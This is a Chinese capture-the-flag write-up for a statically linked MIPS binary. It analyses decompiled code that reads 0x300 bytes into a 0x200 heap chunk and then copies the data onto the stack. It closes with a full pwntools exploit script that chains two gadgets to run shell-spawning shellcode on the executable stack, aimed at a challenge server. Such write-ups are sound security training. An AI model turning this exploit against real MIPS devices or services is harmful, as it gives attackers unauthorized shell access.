解题所涉知识点:
泄露或修改内存数据:
- 堆地址:堆溢出(Heap Overflow)
- 栈地址:
- libc地址:
- BSS段地址:
劫持程序执行流程:MIPS_ROP
获得shell或flag:利用shellcode获得shell
相关知识点:
信息收集总结
题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ file ./pwn
./pwn: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e0782ebdf0d70b808dba4b10c6866faeae35c620, not stripped
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX disabled No PIE N/A N/A 1766 Symbols N/A 0 23 pwn
libc版本:
wp借鉴:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
程序运行回馈
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ qemu-mips ./pwn
=== Welcome to visit H4-link! ===
Enter the group number:
5
Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.'
1
format error!
核心伪代码分析:
存在利用的的代码:
bool pwn()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
ptr_chunk = malloc(0x200);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", input) )
{
printf("Input error!");
exit(-1);
}
if ( !input[0] || input[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
input[1] = &v3;
num = 36;
v10 = 36 * input[0];
v11 = 36 * input[0] - 1;
v12 = v4;
memset(v4, 0, 36 * input[0]);
for ( i = 0; ; ++i )
{
result = i < input[0];
if ( i >= input[0] )
break;
v13 = (v12 + i * num);
v14 = v13;
memset(ptr_chunk, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
v15 = read(0, ptr_chunk, 0x300); // 存在堆溢出
if ( v13 )
{
v0 = atoi(ptr_chunk);
*v14 = v0;
v16 = strchr(ptr_chunk, 58);
for ( j = 0; ptr_chunk++; ++j )
{
if ( *ptr_chunk == '\n' )
{
v5 = ptr_chunk;
break;
}
}
v17 = &v5[-v16];
if ( !v16 )
{
puts("format error!");
exit(-1);
}
memcpy(v14 + 1, v16 + 1, v17);
}
else
{
printf("Error!");
v14[1] = 0x61616100;
}
}
return result;
}
直接让GPT重新写函数名:
bool pwn()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
chunkPointer = malloc(0x200);
puts("Enter the group number: ");
if ( !_isoc99_scanf("%d", userInput) )
{
printf("Input error!");
exit(-1);
}
if ( !userInput[0] || userInput[0] >= 0xAu )
{
fwrite("The numbers is illegal! Exit...\n", 1, 32, stderr);
exit(-1);
}
userInput[1] = &tempVariable;
entrySize = 36;
totalSize = 36 * userInput[0];
lastEntryIndex = 36 * userInput[0] - 1;
dataBlock = tempBuffer;
memset(tempBuffer, 0, 36 * userInput[0]);
for ( currentGroup = 0; ; ++currentGroup )
{
isWithinLimit = currentGroup < userInput[0];
if ( currentGroup >= userInput[0] )
break;
currentEntry = (dataBlock + currentGroup * entrySize);
entryPointer = currentEntry;
memset(chunkPointer, 0, 4);
puts("Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.' ");
bytesRead = read(0, chunkPointer, 0x300); // 存在堆溢出
if ( currentEntry )
{
userID = atoi(chunkPointer);
*entryPointer = userID;
nameDelimiter = strchr(chunkPointer, ':');
for ( nameIndex = 0; chunkPointer++; ++nameIndex )
{
if ( *chunkPointer == '\n' )
{
endOfInput = chunkPointer;
break;
}
}
nameLength = &endOfInput[-nameDelimiter];
if ( !nameDelimiter )
{
puts("format error!");
exit(-1);
}
memcpy(entryPointer + 1, nameDelimiter + 1, nameLength);
}
else
{
printf("Error!");
entryPointer[1] = 0x61616100;
}
}
return isWithinLimit;
}
发现存在堆溢出:
chunkPointer = malloc(0x200);
...
bytesRead = read(0, chunkPointer, 0x300); // 存在堆溢出
然后发现又会将堆上的内容拷贝到栈上,从而发生栈溢出:
*entryPointer = userID;
nameDelimiter = strchr(chunkPointer, ':');
nameLength = &endOfInput[-nameDelimiter];
memcpy(entryPointer + 1, nameDelimiter + 1, nameLength);
手动测试溢出长度:
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/HWS_pwn]
└─$ qemu-mips ./pwn
=== Welcome to visit H4-link! ===
Enter the group number:
1
Enter the id and name, separated by `:`, end with `.` . eg => '1:Job.'
1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: segmentation fault qemu-mips ./pwn
远程测试溢出长度:
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> target remote localhost:1234
warning: `target:/home/kali/Desktop/Pwn/BUU/MIPS/HWS_pwn/pwn' has disappeared; keeping its symbols.
Remote debugging using localhost:1234
Remote communication error. Target disconnected: error while reading: Connection reset by peer.
pwndbg> target remote localhost:1234
warning: `target:/home/kali/Desktop/Pwn/BUU/MIPS/HWS_pwn/pwn' has disappeared; keeping its symbols.
Remote debugging using localhost:1234
0x00400360 in __start ()
pwndbg> b *0x400940
Note: breakpoint 1 also set at pc 0x400940.
Breakpoint 2 at 0x400940
pwndbg> x/20gi 0x400940
0x400940 <pwn+780>: bal 0x41c2e0 <memcpy>
0x400944 <pwn+784>: nop
0x400948 <pwn+788>: lw gp,16(s8)
0x40094c <pwn+792>: b 0x400988 <pwn+852>
0x400950 <pwn+796>: nop
0x400954 <pwn+800>: lui v0,0x47
0x400958 <pwn+804>: addiu a0,v0,16680
0x40095c <pwn+808>: lw v0,-32584(gp)
0x400960 <pwn+812>: move t9,v0
0x400964 <pwn+816>: bal 0x408df0 <printf>
0x400968 <pwn+820>: nop
0x40096c <pwn+824>: lw gp,16(s8)
0x400970 <pwn+828>: lw v0,60(s8)
0x400974 <pwn+832>: addiu v0,v0,4
0x400978 <pwn+836>: lui v1,0x47
0x40097c <pwn+840>: lw v1,16688(v1)
0x400980 <pwn+844>: swl v1,0(v0)
0x400984 <pwn+848>: swr v1,3(v0)
0x400988 <pwn+852>: lw v0,32(s8)
0x40098c <pwn+856>: addiu v0,v0,1
pwndbg> c
Continuing.
Breakpoint 1, 0x00400940 in pwn ()
pwndbg>
攻击思路总结
这里的看似是堆溢出其实是栈溢出一处之后直接转为栈溢出劫持返回地址,由于MIPS的栈存在可执行权限所以直接使用shellcode写入栈中,并且使用gadgets跳转执行栈上的shellcode!
脚本:
import argparse
from pwn import *
from LibcSearcher import *
# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()
pwnfile = './pwn'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux',endian='big')
is_remote = args.r
is_debug = args.d
if is_remote:
sh = remote('node5.buuoj.cn', 26456)
else:
if is_debug:
sh = process(["qemu-mips", "-g", "1234", pwnfile])
else:
sh = process(["qemu-mips", pwnfile])
def mygdb():
if not is_remote and is_debug:
gdb.attach(sh, """set endian big
target remote localhost:1234
b *0x400940
b *0x4007d4
""") # brva 0xe93
mygdb()
sh.sendlineafter("number:","1")
ra = 0x004273C4 # move sp+0x64 to a2 -> jmp s0
s0 = 0x00421684 # jmp a2
payload = b'1:'
payload += b'a'*0x6c + p32(s0) + b'a'*0x20 + p32(ra)
payload += b'a'*0x64 + asm(shellcraft.sh())
sh.sendlineafter("Job.'",payload)
sh.interactive()